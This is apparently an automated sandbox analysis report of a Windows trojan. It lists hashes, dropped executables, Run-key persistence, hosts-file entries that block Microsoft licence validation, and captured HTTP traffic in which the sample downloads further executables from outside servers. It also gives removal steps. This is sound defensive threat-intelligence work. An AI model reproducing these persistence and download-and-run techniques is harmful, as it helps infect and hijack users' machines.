HEUR:Trojan.Win32.Generic (Kaspersky), Application.Bundler.Temonde.HT (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: e4a1e489480deb3f41e78f13b5c3a2b9
SHA1: fda732803fbc5629eb0aacac6c799c23d451d3ed
SHA256: db99cfe09b6e891097168754eac8fe8c39eb55d0f43f94e47d8ebf1b7e983510
SSDeep: 49152:3mlvp6tLWa5E8gu3vmXOTTWvqAhpu6xZgSqQ:
Size: 2353152 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: Igor Pavlov
Created at: 2017-02-19 12:13:02
Analyzed on: Windows7 SP1 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Application creates the following process(es):No processes have been created.The Application injects its code into the following process(es):
%original file name%.exe:3380
sM1ER3x0n9.exe:2924
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:3380 makes changes in the file system.
The Application creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9.exe (195092 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9ENU9N67ZuZ.exe (67748 bytes)
C:\Windows\System32\drivers\etc\hosts (174 bytes)
The process sM1ER3x0n9.exe:2924 makes changes in the file system.
The Application creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (37 bytes)
Registry activity
The process %original file name%.exe:3380 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASMANCS]
"MaxFileSize" = "1048576"
[HKLM\SOFTWARE\Microsoft\CasterDate]
"date" = "18/03/2017"
[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASMANCS]
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASAPI32]
"MaxFileSize" = "1048576"
[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASMANCS]
"FileTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASAPI32]
"ConsoleTracingMask" = "4294901760"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"
[HKCU\Software\Microsoft\wewewe]
"partner" = "tuto"
"Product" = "diskpower"
"channel" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASAPI32]
"EnableConsoleTracing" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"EnableConsoleTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASAPI32]
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASMANCS]
"ConsoleTracingMask" = "4294901760"
The Application deletes the following value(s) in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
The process sM1ER3x0n9.exe:2924 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASMANCS]
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASAPI32]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"
[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASMANCS]
"EnableConsoleTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASAPI32]
"MaxFileSize" = "1048576"
[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASMANCS]
"EnableFileTracing" = "0"
To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"XWK0O1HE6U" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9.exe"
Dropped PE files
MD5 | File path |
---|---|
8b21a1050fd7d0abd67916868ea28af0 | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9.exe |
62316e35da8eff3f8d6ac5eaa03f30f7 | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9ENU9N67ZuZ.exe |
HOSTS file anomalies
The Application modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 1038 bytes in size. The following strings are added to the hosts file listed below:
127.0.0.1 | validation.sls.microsoft.com |
127.0.0.1 | cpm.paneladmin.pro |
127.0.0.1 | publisher.hmdiadmingate.xyz |
127.0.0.1 | distribution.hmdiadmingate.xyz |
127.0.0.1 | hmdicrewtracksystem.xyz |
127.0.0.1 | beautifllink.xyz |
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
- Delete the original Application file.
- Delete or disinfect the following files created/modified by the Application:
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9.exe (195092 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9ENU9N67ZuZ.exe (67748 bytes)
C:\Windows\System32\drivers\etc\hosts (174 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (37 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"XWK0O1HE6U" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9.exe" - Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
- Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: Y
Product Name: YZOC06Z
Product Version: 2.6.8.4
Legal Copyright: Copyright (c) 9273
Legal Trademarks:
Original Filename: SxxW2X3.exe
Internal Name: SxxW2X3.exe
File Version: 2.6.8.4
File Description: YZOC06
Comments: YZOC06Z
Language: English (United States)
Company Name: YProduct Name: YZOC06ZProduct Version: 2.6.8.4Legal Copyright: Copyright (c) 9273Legal Trademarks: Original Filename: SxxW2X3.exeInternal Name: SxxW2X3.exeFile Version: 2.6.8.4File Description: YZOC06Comments: YZOC06ZLanguage: English (United States)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 8192 | 2162880 | 2163200 | 4.1705 | 9e2824a1b5fc660e8e1f235dc2d074b5 |
.rsrc | 2179072 | 188860 | 188928 | 3.23759 | 60324a0eefb7888e1ddb6315327fcf56 |
.reloc | 2375680 | 12 | 512 | 0.070639 | 57c7d628ae673c1e75dc87c85be61e7d |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://asiasoftwaretools.com/get/3/wizzcaster_v2.exe | 94.23.252.37 |
hxxp://wizzcaster.com/api/v5/config | 188.165.209.131 |
hxxp://wizzcaster.com/api/v5/link | 188.165.209.131 |
hxxp://asiasoftwaretools.com/get/4/remote.exe | 94.23.252.37 |
teredo.ipv6.microsoft.com | 157.56.106.189 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /get/4/remote.exe HTTP/1.1
Host: asiasoftwaretools.com
HTTP/1.1 200 OK
Date: Sat, 18 Mar 2017 19:21:38 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="remote.exe"
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
85800..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....{.X.........."...0.................. ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc...............V..............@..B........................H........#....................................................................(....r...po...........%...o....&*..(....*.~....-.r...p.....(....o....s.........~....*.~....*.......*.~....*..(....*Vs....(....t.........*......(....rW..po...........%...o....&*..(....*v.o....rg..po......o....t....*..(....(....%-.r}..ps....z.......%...o....&*.(....*j~....~.... ....(....( ...*...0..C.......r...p(!.....~"...o#.........o$.....r...po.......&....o%....r...po..... .....&....o%....r...po.......'....o%....r...po.......(....o%....r...po.....(&....( ...o'.....*...%..,.o(.....( ....o%....r...po.....(&....( ...o'.....*...%..,.o(.....( ....o%....r%..p~"...o)..........o....t......o*.....o ...(,....(&........io-...o'...*..0..k........( ....s.......(/........i.Yo0...........jo1.....s2.........io3...&...,..o4....(&....o'........,..o4......*.......7..E..........Q^.......0..3............(....rE..po...........%...%.(.....o....&..&..*.........//......Vri..p.....r...p.....*..BSJB............v2.0.50727......l...d...#~.......
<<< skipped >>>
POST /api/v5/config HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: wizzcaster.com
Content-Length: 38
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
....
GET /get/3/wizzcaster_v2.exe HTTP/1.1
Host: asiasoftwaretools.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Sat, 18 Mar 2017 19:21:35 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="wizzcaster_v2.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
1ad800..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....{.X.........."...0..(...........F... ...`....@.. .......................@............@..................................E..O....`....................... .......D............................................... ............... ..H............text....&... ...(.................. ..`.rsrc........`.......*..............@..@.reloc....... ......................@..B.................E......H........#... ...........C....................................................(....r...po...........%...o....&*..(....*.~....-.r...p.....(....o....s.........~....*.~....*.......*.~....*..(....*Vs....(....t.........*......(....rW..po...........%...o....&*..(....*v.o....rg..po......o....t....*..(....(....%-.r}..ps....z.......%...o....&*.(....*j~....~.... ....(....( ...*...0..C.......r...p(!.....~"...o#.........o$.....r...po.......&....o%....r...po..... .....&....o%....r...po.......'....o%....r...po.......(....o%....r...po.....(&....( ...o'.....*...%..,.o(.....( ....o%....r...po.....(&....( ...o'.....*...%..,.o(.....( ....o%....r%..p~"...o)..........o....t......o*.....o ...(,....(&........io-...o'...*..0..k........( ....s.......(/........i.Yo0...........jo1.....s2.........io3...&...,..o4....(&....o'........,..o4......*.......7..E..........Q^.......0..3............(....rE..po...........%...%.(.....o....&..&..*.........//......Vri..p.....r...p.....*..BSJB............v2.0.50727......l...d...#~......
<<< skipped >>>
Map
The Application connects to the servers at the folowing location(s):
Strings from Dumps
sM1ER3x0n9.exe_2924_rwx_00352000_00002000:
0646 6$6
0646 6$6